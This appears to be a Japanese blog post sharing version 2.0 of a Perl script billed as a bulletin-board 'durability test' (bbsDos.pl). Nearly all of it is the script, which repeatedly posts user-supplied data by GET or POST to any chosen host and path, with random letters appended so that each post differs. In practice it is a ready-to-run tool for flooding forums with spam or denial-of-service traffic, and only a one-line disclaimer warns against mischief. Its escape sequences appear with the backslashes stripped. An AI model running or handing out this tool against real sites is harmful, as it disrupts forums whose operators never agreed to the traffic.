今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。
[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]
#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################
#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;
#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}
#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;
#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}
#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;
#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}
#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}
#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";
#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;
#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";
#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:[$sa%/100%]を完了しましたn";
$ex +="1";
}
#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}
#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}
print "終了しましたn";
#------------------------------------------------
#サブルーチン
#------------------------------------------------
#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}
sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "$port",
Proto => "tcp",
);
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}
#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;
#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}
sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";
#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);
#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}
0 Comments.